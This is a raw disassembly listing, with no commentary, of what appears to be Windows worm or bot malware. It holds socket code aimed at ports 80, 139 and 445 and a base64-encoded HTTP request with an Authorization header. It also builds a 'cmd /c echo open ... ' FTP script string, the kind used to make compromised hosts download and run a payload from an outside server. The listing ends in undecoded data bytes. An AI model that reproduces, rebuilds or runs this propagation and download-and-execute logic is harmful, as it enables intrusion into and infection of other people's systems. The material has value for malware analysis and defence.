esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAFBC loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAFA0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFF4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431D0C push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D3C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDCBC push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C84 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D48 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D94[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D158 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F40 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACE0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DD8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAFA4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFE4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB03C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h nop call near ptr 2670F10h loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431440[eax] lea eax, dword_431440[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB5C4, 1 jnz short loc_40D888 or byte_4DB5C4, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321F8 add eax, 6 mov dword_4CDCC4, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2700000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; μ db 0B8h ; Έ db 0DCh ; ά db 60h ; ` db 0 db 0 db 0E8h ; θ db 78h ; x db 0E1h ; α db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0F0h ; π db 0D4h ; Τ db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; θ db 0A8h ; ¨ db 0F7h ; χ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Ϋ db 85h ; db 0C0h ; ΐ db 59h ; Y db 74h ; t db 4Eh 